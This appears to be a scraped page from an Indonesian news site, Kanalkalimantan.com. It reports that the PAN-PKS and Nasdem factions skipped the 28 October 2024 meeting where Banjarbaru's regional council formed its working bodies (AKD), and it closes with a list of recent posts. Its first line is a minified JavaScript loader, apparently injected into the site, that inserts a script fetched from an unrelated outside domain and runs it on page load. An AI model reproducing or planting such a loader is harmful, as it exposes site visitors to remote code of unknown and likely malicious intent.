(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dua Fraksi Absen, Ketua Fraksi PAN-PKS Merasa Ditelikung Soal Pembentukan AKD


KANALKALIMANTAN.COM, BANJARBARU – Prosesi pelantikan tiga unsur pimpinan Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru digelar di Gedung Graha Paripurna Kantor DPRD Banjarbaru, Senin (28/10/2024). Usai pelantikan, para fraksi langsung menggelar rapat pembentukan alat kelengkapan dewan (AKD).

Rapat pembentukan AKD dilaksanakan pukul 13.00 Wita, dengan melibatkan enam Fraksi. Dua Fraksi dia antaranya terpantau absen dalam rapat tersebut

Gusti Rizky Sukma Iskandar, yang baru dilantik sebagai Ketua DPRD Banjarbaru periode 2024-2029, mengatakan, pembentukan AKD harus dikebut agar anggota bisa bekerja.

Baca juga: Jalan Terjal Sumardi Hapus Tuntutan Kurungan JPU terkait Konflik Tambang!

“Tentu harus dikebut. Kalau belum selesai, kami tidak bisa bekerja karena pembentukan komisi belum bisa terlaksana,” ungkap Rizky.

Di sisi lain Ketua Fraksi PAN-PKS yang absen hari ini, Emi Lasari menanggapi, bahwa pihaknya sudah bersurat secara resmi untuk merespons undangan dari Sekretariat DPRD Banjarbaru perihal rapat pembentukan AKD ini.

Emi menduga unsur pimpinan memutus secara sepihak tanpa koordinasi dengan fraksi-fraksi yang ada di DPRD. “Ketika tidak diindahkan dan (pembentukan AKD) tetap dipaksakan, maka kita akan mempersiapkan untuk melakukan langkah hukum terkait keabsahan forum pembentukan AKD hari ini,” ucap Emi.

Baca juga: Diterjang Opini Liar, Tim Cagub Muhidin Pilih Fokus ‘Jual’ Visi Misi

Selain Fraksi PAN-PKS, Fraksi Partai Nasdem juga absen dalam rapat pembentukan AKD.

Ketua Fraksi Nasdem, Takyin Baskoro menyebut, pembentukan AKD merupakan langkah blunder. Dirinya menyebut pimpinan DPRD Banjarbaru telah melanggar jadwal Bamus yang ditandatangani.

Tak luput ia menilai mekanisme penyusunan AKD juga menyalahi aturan dan berpotensi cacat hukum.

“Supaya kelak di kemudian hari produk AKD tidak menuai persoalan hukum, maka saya menyarankan agar seluruh fraksi duduk bersama dan menjadwalkan ulang pembentukan AKD,” tuntas Baskoro. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: cell


Muhammad Andi

Recent Posts

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

6 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

10 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

11 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

14 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

16 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

17 jam ago